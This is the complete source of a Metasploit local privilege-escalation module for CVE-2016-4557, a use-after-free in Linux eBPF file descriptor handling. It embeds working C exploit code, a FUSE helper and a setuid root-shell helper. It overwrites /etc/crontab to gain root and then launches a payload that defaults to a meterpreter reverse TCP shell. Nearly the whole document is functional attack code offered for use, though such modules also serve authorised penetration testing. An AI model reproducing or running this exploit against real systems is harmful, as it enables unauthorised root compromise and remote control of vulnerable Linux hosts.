##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Linux BPF doubleput UAF Privilege Escalation',
        'Description' => %q{
          Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF)
          does not properly reference count file descriptors, resulting
          in a use-after-free, which can be abused to escalate privileges.

          The target system must be compiled with `CONFIG_BPF_SYSCALL`
          and must not have `kernel.unprivileged_bpf_disabled` set to 1.

          Note, this module will overwrite the first few lines
          of `/etc/crontab` with a new cron job. The job will
          need to be manually removed.

          This module has been tested successfully on Ubuntu 16.04 (x64)
          kernel 4.4.0-21-generic (default kernel).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'jannh@google.com', # discovery and exploit
          'h00die <mike@shorebreaksecurity.com>' # metasploit module
        ],
        'Platform' => ['linux'],
        'Arch' => [ARCH_X86, ARCH_X64],
        'SessionTypes' => ['shell', 'meterpreter'],
        'DisclosureDate' => '2016-05-04',
        'Privileged' => true,
        'References' => [
          ['BID', '90309'],
          ['CVE', '2016-4557'],
          ['EDB', '39772'],
          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808'],
          ['URL', 'https://usn.ubuntu.com/2965-1/'],
          ['URL', 'https://launchpad.net/bugs/1578705'],
          ['URL', 'http://changelogs.ubuntu.com/changelogs/pool/main/l/linux/linux_4.4.0-22.39/changelog'],
          ['URL', 'https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4557.html'],
          ['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7']
        ],
        'Targets' => [
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
          'PrependFork' => true,
          'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
        },
        'Notes' => {
          'AKA' =>
                   [
                     'double-fdput',
                     'doubleput.c'
                   ]
        },
        'DefaultTarget' => 1,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_sys_process_execute
            ]
          }
        }
      )
    )
    register_options [
      OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
      OptInt.new('MAXWAIT', [true, 'Max time to wait for decrementation in seconds', 120])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def exploit_data(file)
    ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', file)
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    chmod path
  end

  def live_compile?
    return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

    return true if has_prereqs?

    unless datastore['COMPILE'].eql? 'Auto'
      fail_with Failure::BadConfig, 'Prerequisites are not installed. Compiling will fail.'
    end
  end

  def has_prereqs?
    def check_libfuse_dev?
      lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
      if lib.include?('install')
        vprint_good('libfuse-dev is installed')
        return true
      else
        print_error('libfuse-dev is not installed.  Compiling will fail.')
        return false
      end
    end

    def check_gcc?
      if has_gcc?
        vprint_good('gcc is installed')
        return true
      else
        print_error('gcc is not installed.  Compiling will fail.')
        return false
      end
    end

    def check_pkgconfig?
      lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
      if lib.include?('install')
        vprint_good('pkg-config is installed')
        return true
      else
        print_error('pkg-config is not installed.  Exploitation will fail.')
        return false
      end
    end

    return check_libfuse_dev? && check_gcc? && check_pkgconfig?
  end

  def upload_and_compile(path, data, gcc_args = '')
    upload "#{path}.c", data

    gcc_cmd = "gcc -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end

    unless gcc_args.to_s.blank?
      gcc_cmd << " #{gcc_args}"
    end

    output = cmd_exec gcc_cmd

    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
    end

    register_file_for_cleanup path
    chmod path
  end

  def check
    release = kernel_release
    version = kernel_version

    if Rex::Version.new(release.split('-').first) < Rex::Version.new('4.4') ||
       Rex::Version.new(release.split('-').first) > Rex::Version.new('4.5.5')
      vprint_error "Kernel version #{release} #{version} is not vulnerable"
      return CheckCode::Safe
    end

    if version.downcase.include?('ubuntu') && release =~ /^4\.4\.0-(\d+)-/
      if $1.to_i > 21
        vprint_error "Kernel version #{release} is not vulnerable"
        return CheckCode::Safe
      end
    end
    vprint_good "Kernel version #{release} #{version} appears to be vulnerable"

    lib = cmd_exec('dpkg --get-selections | grep ^fuse').to_s
    unless lib.include?('install')
      print_error('fuse package is not installed.  Exploitation will fail.')
      return CheckCode::Safe
    end
    vprint_good('fuse package is installed')

    fuse_mount = "#{base_dir}/fuse_mount"
    if directory? fuse_mount
      vprint_error("#{fuse_mount} should be unmounted and deleted.  Exploitation will fail.")
      return CheckCode::Safe
    end
    vprint_good("#{fuse_mount} doesn't exist")

    config = kernel_config

    if config.nil?
      vprint_error 'Could not retrieve kernel config'
      return CheckCode::Unknown
    end

    unless config.include? 'CONFIG_BPF_SYSCALL=y'
      vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'
      return CheckCode::Safe
    end
    vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'

    if unprivileged_bpf_disabled?
      vprint_error 'Unprivileged BPF loading is not permitted'
      return CheckCode::Safe
    end
    vprint_good 'Unprivileged BPF loading is permitted'

    CheckCode::Appears
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    if nosuid? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
    end

    doubleput = %q{
      #define _GNU_SOURCE
      #include <stdbool.h>
      #include <errno.h>
      #include <err.h>
      #include <unistd.h>
      #include <fcntl.h>
      #include <sched.h>
      #include <signal.h>
      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h>
      #include <sys/types.h>
      #include <sys/stat.h>
      #include <sys/syscall.h>
      #include <sys/prctl.h>
      #include <sys/uio.h>
      #include <sys/mman.h>
      #include <sys/wait.h>
      #include <linux/bpf.h>
      #include <linux/kcmp.h>

      #ifndef __NR_bpf
      # if defined(__i386__)
      #  define __NR_bpf 357
      # elif defined(__x86_64__)
      #  define __NR_bpf 321
      # elif defined(__aarch64__)
      #  define __NR_bpf 280
      # else
      #  error
      # endif
      #endif

      int uaf_fd;

      int task_b(void *p) {
        /* step 2: start writev with slow IOV, raising the refcount to 2 */
        char *cwd = get_current_dir_name();
        char data[2048];
        sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);
        struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
        if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
          errx(1, "system() failed");
        int fuse_fd = open("fuse_mount/hello", O_RDWR);
        if (fuse_fd == -1)
          err(1, "unable to open FUSE fd");
        if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
          errx(1, "unable to write to FUSE fd");
        struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
        if (iov_ == MAP_FAILED)
          err(1, "unable to mmap FUSE fd");
        fputs("starting writev\n", stderr);
        ssize_t writev_res = writev(uaf_fd, iov_, 1);
        /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
        if (writev_res == -1)
          err(1, "writev failed");
        if (writev_res != strlen(data))
          errx(1, "writev returned %d", (int)writev_res);
        fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);
        while (1) sleep(1); /* whatever, just don't crash */
      }

      void make_setuid(void) {
        /* step 1: open writable UAF fd */
        uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
        if (uaf_fd == -1)
          err(1, "unable to open UAF fd");
        /* refcount is now 1 */

        char child_stack[20000];
        int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
        if (child == -1)
          err(1, "clone");
        sleep(3);
        /* refcount is now 2 */

        /* step 2+3: use BPF to remove two references */
        for (int i=0; i<2; i++) {
          struct bpf_insn insns[2] = {
            {
              .code = BPF_LD | BPF_IMM | BPF_DW,
              .src_reg = BPF_PSEUDO_MAP_FD,
              .imm = uaf_fd
            },
            {
            }
          };
          union bpf_attr attr = {
            .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
            .insn_cnt = 2,
            .insns = (__aligned_u64) insns,
            .license = (__aligned_u64)""
          };
          if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
            errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
          if (errno != EINVAL)
            err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
        }
        /* refcount is now 0, the file is freed soon-ish */

        /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
        int status;
        int hostnamefds[1000];
        int used_fds = 0;
        bool up = true;
        while (1) {
          if (waitpid(child, &status, WNOHANG) == child)
            errx(1, "child quit before we got a good file*");
          if (up) {
            hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);
            if (hostnamefds[used_fds] == -1)
              err(1, "open target file");
            if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;
            used_fds++;
            if (used_fds == 1000) up = false;
          } else {
            close(hostnamefds[--used_fds]);
            if (used_fds == 0) up = true;
          }
        }
        fputs("woohoo, got pointer reuse\n", stderr);
        while (1) sleep(1); /* whatever, just don't crash */
      }

      int main(void) {
        pid_t child = fork();
        if (child == -1)
          err(1, "fork");
        if (child == 0)
          make_setuid();
        struct stat helperstat;
        while (1) {
          if (stat("suidhelper", &helperstat))
            err(1, "stat suidhelper");
          if (helperstat.st_mode & S_ISUID)
            break;
          sleep(1);
        }
        fputs("suid file detected, launching rootshell...\n", stderr);
        execl("./suidhelper", "suidhelper", NULL);
        err(1, "execl suidhelper");
      }
    }

    suid_helper = %q{
      #include <unistd.h>
      #include <err.h>
      #include <stdio.h>
      #include <sys/types.h>

      int main(void) {
        if (setuid(0) || setgid(0))
          err(1, "setuid/setgid");
        fputs("we have root privs now...\n", stderr);
        execl("/bin/bash", "bash", NULL);
        err(1, "execl");
      }

    }

    hello = %q{
      /*
        FUSE: Filesystem in Userspace
        Copyright (C) 2001-2007  Miklos Szeredi <miklos@szeredi.hu>
        heavily modified by Jann Horn <jannh@google.com>

        This program can be distributed under the terms of the GNU GPL.
        See the file COPYING.

        gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
      */

      #define FUSE_USE_VERSION 26

      #include <fuse.h>
      #include <stdio.h>
      #include <string.h>
      #include <errno.h>
      #include <fcntl.h>
      #include <unistd.h>
      #include <err.h>
      #include <sys/uio.h>

      static const char *hello_path = "/hello";

      static char data_state[sizeof(struct iovec)];

      static int hello_getattr(const char *path, struct stat *stbuf)
      {
        int res = 0;
        memset(stbuf, 0, sizeof(struct stat));
        if (strcmp(path, "/") == 0) {
          stbuf->st_mode = S_IFDIR | 0755;
          stbuf->st_nlink = 2;
        } else if (strcmp(path, hello_path) == 0) {
          stbuf->st_mode = S_IFREG | 0666;
          stbuf->st_nlink = 1;
          stbuf->st_size = sizeof(data_state);
          stbuf->st_blocks = 0;
        } else
          res = -ENOENT;
        return res;
      }

      static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {
        filler(buf, ".", NULL, 0);
        filler(buf, "..", NULL, 0);
        filler(buf, hello_path + 1, NULL, 0);
        return 0;
      }

      static int hello_open(const char *path, struct fuse_file_info *fi) {
        return 0;
      }

      static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
        sleep(10);
        size_t len = sizeof(data_state);
        if (offset < len) {
          if (offset + size > len)
            size = len - offset;
          memcpy(buf, data_state + offset, size);
        } else
          size = 0;
        return size;
      }

      static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
        if (offset != 0)
          errx(1, "got write with nonzero offset");
        if (size != sizeof(data_state))
          errx(1, "got write with size %d", (int)size);
        memcpy(data_state + offset, buf, size);
        return size;
      }

      static struct fuse_operations hello_oper = {
        .getattr	= hello_getattr,
        .readdir	= hello_readdir,
        .open		= hello_open,
        .read		= hello_read,
        .write		= hello_write,
      };

      int main(int argc, char *argv[]) {
        return fuse_main(argc, argv, &hello_oper, NULL);
      }
    }

    @hello_name = 'hello'
    hello_path = "#{base_dir}/#{@hello_name}"
    @doubleput_name = 'doubleput'
    doubleput_path = "#{base_dir}/#{@doubleput_name}"
    @suidhelper_path = "#{base_dir}/suidhelper"
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(10..15)}"

    if live_compile?
      vprint_status 'Live compiling exploit on system...'

      upload_and_compile(hello_path, hello, '-Wall -std=gnu99 `pkg-config fuse --cflags --libs`')
      upload_and_compile(doubleput_path, doubleput, '-Wall')
      upload_and_compile(@suidhelper_path, suid_helper, '-Wall')
    else
      vprint_status 'Dropping pre-compiled exploit on system...'

      upload_and_chmodx(hello_path, exploit_data('hello'))
      upload_and_chmodx(doubleput_path, exploit_data('doubleput'))
      upload_and_chmodx(@suidhelper_path, exploit_data('suidhelper'))
    end

    vprint_status 'Uploading payload...'
    upload_and_chmodx(payload_path, generate_payload_exe)

    print_status('Launching exploit. This may take up to 120 seconds.')
    print_warning('This module adds a job to /etc/crontab which requires manual removal!')

    register_dir_for_cleanup "#{base_dir}/fuse_mount"
    cmd_exec "cd #{base_dir}; #{doubleput_path} & echo "
    sec_waited = 0
    until sec_waited > datastore['MAXWAIT'] do
      Rex.sleep(5)
      # check file permissions
      if setuid? @suidhelper_path
        print_good("Success! set-uid root #{@suidhelper_path}")
        cmd_exec "echo '#{payload_path} & exit' | #{@suidhelper_path} "
        return
      end
      sec_waited += 5
    end
    print_error "Failed to set-uid root #{@suidhelper_path}"
  end

  def cleanup
    cmd_exec "killall #{@hello_name}"
    cmd_exec "killall #{@doubleput_name}"
  ensure
    super
  end

  def on_new_session(session)
    # remove root owned SUID executable and kill running exploit processes
    if session.type.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
      session.fs.file.rm @suidhelper_path
      session.sys.process.execute '/bin/sh', "-c 'killall #{@doubleput_name}'"
      session.sys.process.execute '/bin/sh', "-c 'killall #{@hello_name}'"
      session.fs.file.rm "#{base_dir}/fuse_mount"
    else
      session.shell_command_token "rm -f '#{@suidhelper_path}'"
      session.shell_command_token "killall #{@doubleput_name}"
      session.shell_command_token "killall #{@hello_name}"
      session.shell_command_token "rm -f '#{base_dir}/fuse_mount'"
    end
  ensure
    super
  end
end
